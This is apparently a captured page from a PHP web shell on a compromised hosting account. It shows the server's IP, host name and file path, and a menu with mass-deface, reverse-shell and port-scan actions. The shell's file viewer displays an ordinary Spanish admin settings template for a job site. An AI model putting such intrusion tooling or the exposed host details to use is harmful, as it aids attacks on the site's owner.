Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
trabajostoremaylor
/
views
/
admin
/
Viewing: settings.php
<?php require $partials . '/header.php'; ?> <?php $panelAdmin = require __DIR__ . '/../panel/admin.php'; $navbarConfig = $panelAdmin['navbar'](); $sidebarMenu = $panelAdmin['menu']([ 'active' => 'settings', ]); $brandName = $siteBrand['name'] ?? 'Trabajostore'; $brandLogo = $siteBrand['logo'] ?? ($assetsBase . '/img/favicon.png'); $settings = $settings ?? []; $currencies = $currencies ?? []; $activeCurrencyId = $settings['currency_id'] ?? null; ?> <div class="panel-shell"> <?php require $partials . '/sidebar.php'; ?> <div class="panel-main"> <?php require $partials . '/navbar.php'; ?> <div class="panel-content"> <main class="container-fluid py-4"> <section class="panel-card"> <div class="d-flex flex-column flex-lg-row justify-content-between align-items-lg-center gap-3 mb-4"> <div> <p class="text-muted text-uppercase small mb-1">Identidad pública</p> <h2 class="fw-semibold mb-1">Ajustes del sitio</h2> <p class="text-muted mb-0">Actualiza el nombre de la marca, logotipo y moneda en toda la plataforma.</p> </div> </div> <?php if (!empty($flash)): ?> <div class="alert alert-success d-flex justify-content-between align-items-center" role="alert"> <span><?= $flash ?></span> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if (!empty($error)): ?> <div class="alert alert-danger d-flex justify-content-between align-items-center" role="alert"> <span><?= $error ?></span> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <form action="<?= App\Helpers\Url::to('/admin/settings/update') ?>" method="POST" enctype="multipart/form-data" class="row g-4"> <!-- ═══ IDENTIDAD DE MARCA ═══ --> <div class="col-12"> <div class="settings-section-header"> <div class="settings-section-icon"> <i class="bi bi-brush"></i> </div> <div> <h5 class="fw-semibold mb-0">Identidad de marca</h5> <p class="text-muted small mb-0">Nombre y logotipo que se muestran en toda la plataforma</p> </div> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="site_name" class="form-label">Nombre del sitio <span class="text-danger">*</span></label> <input type="text" id="site_name" name="site_name" class="form-control" placeholder="Ej. TuMarca Jobs" value="<?= htmlspecialchars($settings['site_name'] ?? $brandName, ENT_QUOTES, 'UTF-8') ?>" required > <small class="text-muted">Se mostrará en la portada, navbar y correos.</small> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="site_logo" class="form-label">Logotipo</label> <input type="file" name="site_logo" id="site_logo" accept="image/png,image/jpeg,image/webp,image/svg+xml" class="form-control" > <small class="text-muted">Formatos permitidos: PNG, JPG, WEBP o SVG. Tamaño recomendado 256x256 px.</small> </div> </div> <div class="col-12"> <div class="d-flex align-items-center gap-3 p-3 border rounded-4 bg-light"> <div class="brand-mark" style="width: 72px; height: 72px; border-radius: 16px; background: #f8fafc; display: flex; align-items: center; justify-content: center;"> <img src="<?= htmlspecialchars($brandLogo, ENT_QUOTES, 'UTF-8') ?>" alt="Logo actual" class="img-fluid" style="max-height: 48px;"> </div> <div> <p class="mb-1 fw-semibold">Vista previa del logotipo</p> <p class="text-muted small mb-0">Así se verá el logo en la portada y en el panel administrativo.</p> </div> </div> </div> <!-- ═══ MONEDA DEL SISTEMA ═══ --> <div class="col-12 mt-5"> <div class="settings-section-header"> <div class="settings-section-icon" style="background: rgba(16,185,129,0.12); color: #059669;"> <i class="bi bi-currency-exchange"></i> </div> <div> <h5 class="fw-semibold mb-0">Moneda del sistema</h5> <p class="text-muted small mb-0">Define la moneda que se usará en precios, planes y toda la plataforma</p> </div> </div> </div> <div class="col-lg-7"> <label for="currency_id" class="form-label">Moneda activa</label> <div class="currency-selector-wrapper"> <div class="currency-search-box"> <i class="bi bi-search"></i> <input type="text" id="currencySearch" class="form-control" placeholder="Buscar moneda por nombre, código o símbolo…" autocomplete="off"> </div> <div class="currency-list-container" id="currencyListContainer"> <?php foreach ($currencies as $cur): ?> <label class="currency-option <?= (int)$cur['id'] === (int)$activeCurrencyId ? 'active' : '' ?>" data-search="<?= htmlspecialchars(strtolower($cur['code'] . ' ' . $cur['name'] . ' ' . $cur['symbol']), ENT_QUOTES, 'UTF-8') ?>"> <input type="radio" name="currency_id" value="<?= $cur['id'] ?>" <?= (int)$cur['id'] === (int)$activeCurrencyId ? 'checked' : '' ?> class="d-none"> <div class="currency-option-content"> <span class="currency-symbol-badge"><?= htmlspecialchars($cur['symbol']) ?></span> <div class="currency-info"> <span class="currency-name"><?= htmlspecialchars($cur['name']) ?></span> <span class="currency-code"><?= htmlspecialchars($cur['code']) ?></span> </div> </div> <div class="currency-check"> <i class="bi bi-check-circle-fill"></i> </div> </label> <?php endforeach; ?> </div> </div> </div> <div class="col-lg-5"> <label class="form-label">Vista previa</label> <div class="currency-preview-card" id="currencyPreviewCard"> <div class="currency-preview-header"> <i class="bi bi-eye"></i> <span>Así se verán los precios</span> </div> <div class="currency-preview-body"> <div class="preview-item"> <span class="preview-label">Plan básico</span> <span class="preview-value" id="previewPrice1">$15</span> </div> <div class="preview-item"> <span class="preview-label">Plan pro</span> <span class="preview-value" id="previewPrice2">$49</span> </div> <div class="preview-item highlight"> <span class="preview-label">Plan enterprise</span> <span class="preview-value" id="previewPrice3">$199</span> </div> </div> <div class="currency-preview-footer" id="previewFooter"> <span class="preview-currency-badge" id="previewBadge"> <span id="previewSymbol"><?= htmlspecialchars($settings['currency_symbol'] ?? '$') ?></span> <span id="previewCode"><?= htmlspecialchars($settings['currency_code'] ?? 'USD') ?></span> </span> <span class="preview-currency-name" id="previewName"><?= htmlspecialchars($settings['currency_name'] ?? 'Dólar estadounidense') ?></span> </div> </div> </div> <div class="col-12 d-flex justify-content-end gap-2"> <a href="<?= App\Helpers\Url::to('/admin/dashboard') ?>" class="btn btn-outline-secondary">Cancelar</a> <button type="submit" class="btn btn-primary"> <i class="bi bi-check-circle me-1"></i> Guardar cambios </button> </div> </form> </section> </main> </div> </div> </div> <style> .settings-section-header { display: flex; align-items: center; gap: 1rem; padding-bottom: 0.75rem; border-bottom: 1px solid rgba(15,23,42,0.06); } .settings-section-icon { width: 48px; height: 48px; border-radius: 14px; background: rgba(10,83,190,0.1); color: #0a53be; display: flex; align-items: center; justify-content: center; font-size: 1.35rem; flex-shrink: 0; } /* ─── Currency Selector ─── */ .currency-selector-wrapper { border: 1px solid #e2e8f0; border-radius: 16px; overflow: hidden; background: #fff; transition: border-color 0.2s; } .currency-selector-wrapper:focus-within { border-color: #0a53be; box-shadow: 0 0 0 3px rgba(10,83,190,0.08); } .currency-search-box { display: flex; align-items: center; gap: 0.5rem; padding: 0.65rem 1rem; border-bottom: 1px solid #f1f5f9; background: #fafbfc; } .currency-search-box i { color: #94a3b8; font-size: 1rem; } .currency-search-box input { border: none; background: transparent; outline: none; box-shadow: none !important; padding: 0; font-size: 0.9rem; } .currency-list-container { max-height: 320px; overflow-y: auto; padding: 0.35rem; } .currency-list-container::-webkit-scrollbar { width: 5px; } .currency-list-container::-webkit-scrollbar-track { background: transparent; } .currency-list-container::-webkit-scrollbar-thumb { background: rgba(15,23,42,0.15); border-radius: 999px; } .currency-option { display: flex; align-items: center; justify-content: space-between; padding: 0.6rem 0.85rem; border-radius: 12px; cursor: pointer; transition: all 0.2s ease; margin-bottom: 2px; } .currency-option:hover { background: #f1f5f9; } .currency-option.active { background: rgba(10,83,190,0.06); border: 1px solid rgba(10,83,190,0.15); } .currency-option:not(.active) { border: 1px solid transparent; } .currency-option-content { display: flex; align-items: center; gap: 0.75rem; } .currency-symbol-badge { width: 40px; height: 40px; border-radius: 10px; background: linear-gradient(135deg, rgba(10,83,190,0.08), rgba(79,70,229,0.08)); color: #0a53be; font-weight: 700; font-size: 0.95rem; display: flex; align-items: center; justify-content: center; flex-shrink: 0; } .currency-info { display: flex; flex-direction: column; } .currency-name { font-size: 0.88rem; font-weight: 500; color: #1e293b; line-height: 1.3; } .currency-code { font-size: 0.75rem; color: #94a3b8; font-weight: 600; letter-spacing: 0.5px; } .currency-check { color: transparent; font-size: 1.15rem; transition: color 0.15s; } .currency-option.active .currency-check { color: #0a53be; } .currency-option.hidden-by-search { display: none !important; } /* ─── Currency Preview Card ─── */ .currency-preview-card { border-radius: 20px; overflow: hidden; border: 1px solid #e2e8f0; background: #fff; transition: transform 0.3s ease, box-shadow 0.3s ease; } .currency-preview-card:hover { box-shadow: 0 12px 40px rgba(15,23,42,0.08); } .currency-preview-header { display: flex; align-items: center; gap: 0.5rem; padding: 0.75rem 1.25rem; background: #f8fafc; border-bottom: 1px solid #f1f5f9; font-size: 0.82rem; color: #64748b; font-weight: 500; } .currency-preview-body { padding: 1rem 1.25rem; } .preview-item { display: flex; justify-content: space-between; align-items: center; padding: 0.65rem 0; border-bottom: 1px solid #f8fafc; } .preview-item:last-child { border-bottom: none; } .preview-item.highlight .preview-value { color: #0a53be; font-size: 1.15rem; } .preview-label { font-size: 0.88rem; color: #64748b; } .preview-value { font-size: 1rem; font-weight: 700; color: #1e293b; transition: all 0.25s ease; } .preview-value.animate-pulse { animation: pricePulse 0.4s ease; } @keyframes pricePulse { 0% { transform: scale(1); } 50% { transform: scale(1.12); color: #0a53be; } 100% { transform: scale(1); } } .currency-preview-footer { display: flex; align-items: center; gap: 0.75rem; padding: 0.85rem 1.25rem; background: linear-gradient(135deg, rgba(10,83,190,0.04), rgba(79,70,229,0.04)); border-top: 1px solid rgba(10,83,190,0.08); } .preview-currency-badge { display: inline-flex; align-items: center; gap: 0.35rem; padding: 0.3rem 0.75rem; border-radius: 8px; background: #0a53be; color: #fff; font-weight: 700; font-size: 0.82rem; } .preview-currency-name { font-size: 0.82rem; color: #475569; font-weight: 500; } @media (max-width: 991px) { .currency-list-container { max-height: 240px; } } </style> <script> (function () { const searchInput = document.getElementById('currencySearch'); const listContainer = document.getElementById('currencyListContainer'); const options = listContainer ? listContainer.querySelectorAll('.currency-option') : []; /* ── Search filter ── */ if (searchInput) { searchInput.addEventListener('input', function () { const query = this.value.toLowerCase().trim(); options.forEach(function (opt) { const searchable = opt.getAttribute('data-search') || ''; if (query === '' || searchable.indexOf(query) !== -1) { opt.classList.remove('hidden-by-search'); } else { opt.classList.add('hidden-by-search'); } }); }); } /* ── Selection + preview ── */ const previewPrice1 = document.getElementById('previewPrice1'); const previewPrice2 = document.getElementById('previewPrice2'); const previewPrice3 = document.getElementById('previewPrice3'); const previewSymbol = document.getElementById('previewSymbol'); const previewCode = document.getElementById('previewCode'); const previewName = document.getElementById('previewName'); function formatPreview(symbol, position, amount) { const formatted = new Intl.NumberFormat('es').format(amount); return position === 'after' ? formatted + ' ' + symbol : symbol + formatted; } function animatePulse(el) { el.classList.remove('animate-pulse'); void el.offsetWidth; el.classList.add('animate-pulse'); } options.forEach(function (opt) { opt.addEventListener('click', function () { options.forEach(function (o) { o.classList.remove('active'); }); this.classList.add('active'); const radio = this.querySelector('input[type="radio"]'); if (radio) radio.checked = true; const symbol = this.querySelector('.currency-symbol-badge')?.textContent?.trim() || '$'; const code = this.querySelector('.currency-code')?.textContent?.trim() || 'USD'; const name = this.querySelector('.currency-name')?.textContent?.trim() || ''; const searchData = (this.getAttribute('data-search') || '').toLowerCase(); /* Determine position from the currency data */ const afterCurrencies = ['sek','nok','dkk','isk','czk','pln','huf','ron','bgn','hrk','rsd','bam','mkd','rub','vnd','vut','irr','uzs','kgs']; const position = afterCurrencies.indexOf(code.toLowerCase()) !== -1 ? 'after' : 'before'; if (previewSymbol) previewSymbol.textContent = symbol; if (previewCode) previewCode.textContent = code; if (previewName) previewName.textContent = name; if (previewPrice1) { previewPrice1.textContent = formatPreview(symbol, position, 15); animatePulse(previewPrice1); } if (previewPrice2) { previewPrice2.textContent = formatPreview(symbol, position, 49); animatePulse(previewPrice2); } if (previewPrice3) { previewPrice3.textContent = formatPreview(symbol, position, 199); animatePulse(previewPrice3); } }); }); /* ── Initialize preview with current selection ── */ const activeOption = listContainer ? listContainer.querySelector('.currency-option.active') : null; if (activeOption) { activeOption.click(); activeOption.scrollIntoView({ block: 'center', behavior: 'instant' }); } })(); </script> <?php require $partials . '/footer.php'; ?>
Coded With 💗 by
0x6ick